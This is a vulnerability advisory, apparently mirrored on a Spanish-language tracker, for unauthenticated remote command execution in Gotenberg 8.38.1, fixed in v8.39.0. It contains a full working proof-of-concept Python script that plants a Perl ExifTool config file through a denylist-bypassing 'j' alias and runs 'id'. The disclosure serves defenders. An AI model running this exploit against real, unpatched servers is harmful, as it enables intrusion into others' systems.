GHSA-GPF4-WMVF-CGJW
Unauthenticated OS command execution in Gotenberg 8.38.1 via an ExifTool JSON-import option alias
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche v8.39.0 | github.com/gotenberg/gotenberg/v8 · -16 d desde divulgación | |
| Divulgación | Publicada | GHSA-GPF4-WMVF-CGJW divulgada · CVSS 9.8 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
Gotenberg accepts the ExifTool option `j` as a PDF metadata key, although it blocks the equivalent `json` option. An unauthenticated client can use this alias to import metadata containing ExifTool’s `HardLink` pseudo-tag, place a Perl config file in the service user’s home directory, and have a subsequent ExifTool invocation execute it. A single HTTP request reproduced command execution as `uid=1001(gotenberg)` in two fresh, unmodified `gotenberg/gotenberg:8.38.1` containers.
Details
The unauthenticated [`POST /forms/pdfengines/metadata/write` route](<https://github.com/gotenberg/gotenberg/blob/e4ee0f29d648f8d5a0a766dd797d108361905deb/pkg/modules/pdfengines/routes.go#L1542-L1575>) passes client-supplied metadata to the [default ExifTool engine](<https://github.com/gotenberg/gotenberg/blob/e4ee0f29d648f8d5a0a766dd797d108361905deb/pkg/modules/pdfengines/pdfengines.go#L61-L65>). Gotenberg’s [option denylist](<https://github.com/gotenberg/gotenberg/blob/e4ee0f29d648f8d5a0a766dd797d108361905deb/pkg/modules/exiftool/exiftool.go#L83-L112>) blocks `json` but omits its short alias `j`. The accepted metadata key is converted into the command-line argument `-j=<attacker-controlled path>` and [passed to ExifTool](<https://github.com/gotenberg/gotenberg/blob/e4ee0f29d648f8d5a0a766dd797d108361905deb/pkg/modules/exiftool/exiftool.go#L129-L202>).
ExifTool interprets that argument as a [JSON metadata import](<https://github.com/exiftool/exiftool/blob/2200871d9cef988051d2a99d67df3bda6cbb30a8/exiftool#L3263-L3348>). The imported record `{"SourceFile":"*","HardLink":"/home/gotenberg/.ExifTool_config"}` bypasses Gotenberg’s direct pseudo-tag filtering. ExifTool then [creates the requested hard link](<https://github.com/exiftool/exiftool/blob/2200871d9cef988051d2a99d67df3bda6cbb30a8/lib/Image/ExifTool/Writer.pl#L2281-L2319>) from an uploaded file containing Perl code. A later ExifTool process [loads `.ExifTool_config` as Perl](<https://github.com/exiftool/exiftool/blob/2200871d9cef988051d2a99d67df3bda6cbb30a8/lib/Image/ExifTool.pm#L10178-L10220>). The issue is Gotenberg’s incomplete validation of ExifTool arguments; `HardLink` is existing ExifTool functionality.
The proof uses Gotenberg’s HTML conversion route to make this a single attacker-originated request. Uploaded HTML discovers its random request directory from `location.href` and posts the JSON import and Perl payload to the local metadata-write route. The outer conversion then writes ordinary PDF metadata, triggering a second ExifTool process. Its returned PDF contains a fresh nonce and the output of `id`.
Proof of concept
- Start a fresh stock container:
```
docker run -d --name gotenberg-rce-stock --platform linux/amd64 \
--publish 127.0.0.1:33000:3000 gotenberg/gotenberg:8.38.1
```
2. Save the standalone script as `one_request_poc.py`. The tested copy is also available here (research\_gotenberg\_path\_independent/one\_request\_poc.py).
```python
#!/usr/bin/env python3
import argparse
import json
import re
import secrets
import urllib.error
import urllib.request
import uuid
def multipart(fields, files):
boundary = "----gotenberg-" + uuid.uuid4().hex
chunks = []
for name, value in fields.items():
chunks.append(
f'--{boundary}\r\nContent-Disposition: form-data; name="{name}"\r\n\r\n{value}\r\n'.encode()
)
for name, filename, data, content_type in files:
chunks.append(
f'--{boundary}\r\nContent-Disposition: form-data; name="{name}"; filename="{filename}"\r\n'
f'Content-Type: {content_type}\r\n\r\n'.encode() + data + b"\r\n"
)
chunks.append(f"--{boundary}--\r\n".encode())
return b"".join(chunks), boundary
def main():
parser = argparse.ArgumentParser()
parser.add_argument("base_url")
args = parser.parse_args()
nonce = secrets.token_hex(12)
prefix = f"Proof-{nonce}:".encode()
perl = (
"BEGIN { my $id = qx(id); $id =~ s/[\\r\\n]+/ /g; "
f"for (@ARGV) {{ if (/^-Title=/i) {{ $_ = '-Title=Proof-{nonce}:' . $id }} }} }}\n1;\n"
)
db = json.dumps([{
"SourceFile": "*",
"HardLink": "/home/gotenberg/.ExifTool_config"
}])
html = f"""<!doctype html><html><body>Converting<script>
window.done = false;
(async () => {{
const dir = decodeURIComponent(new URL('.', location.href).pathname);
const form = new FormData();
form.append('metadata', JSON.stringify({{j: dir + 'db.json'}}));
form.append('files', new Blob([{json.dumps(perl)}], {{type: 'application/pdf'}}), 'payload.pdf');
try {{
await fetch('http://127.0.0.1:3000/forms/pdfengines/metadata/write',
{{method: 'POST', mode: 'no-cors', body: form}});
}} catch (e) {{
window.error = String(e);
}}
window.done = true;
}})();
</script></body></html>"""
body, boundary = multipart(
{"metadata": json.dumps({"Title": "demo"}),
"waitForExpression": "window.done === true"},
[("files", "index.html", html.encode(), "text/html"),
("files", "db.json", db.encode(), "application/json")]
)
request = urllib.request.Request(
args.base_url.rstrip("/") + "/forms/chromium/convert/html",
body,
{"Content-Type": "multipart/form-data; boundary=" + boundary}
)
try:
with urllib.request.urlopen(request, timeout=60) as response:
status, output = response.status, response.read()
except urllib.error.HTTPError as exc:
status, output = exc.code, exc.read()
print(f"HTTP {status}; {len(output)} response bytes")
proof = re.search(re.escape(prefix) + rb"uid=\d+\([^)]*\)", output)
if status == 200 and output.startswith(b"%PDF-") and b"%%EOF" in output and proof:
print("Unique OS command proof in returned PDF:",
proof.group().decode(errors="replace"))
else:
print("No command proof in a valid PDF:", repr(output[:500]))
raise SystemExit(1)
if __name__ == "__main__":
main()
```
3. Run it from the host:
```
python3 one_request_poc.py http://127.0.0.1:33000
```
Expected result: HTTP 200 and a valid returned PDF containing a fresh marker such as `Proof-<nonce>:uid=1001(gotenberg)`.
Impact
Unauthenticated remote OS command execution as the `gotenberg` service user inside the container. An attacker who can reach the affected default API can execute commands and access or alter data available to that service.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
gogithub.com/gotenberg/gotenberg/v8 |
Corregida | v8.39.0 | -16 d | v8.40.0 no afectada |
8.39.0v8.39.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/gotenberg/gotenberg/security/advisories/GHSA-gpf4-wmvf-cgjwLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
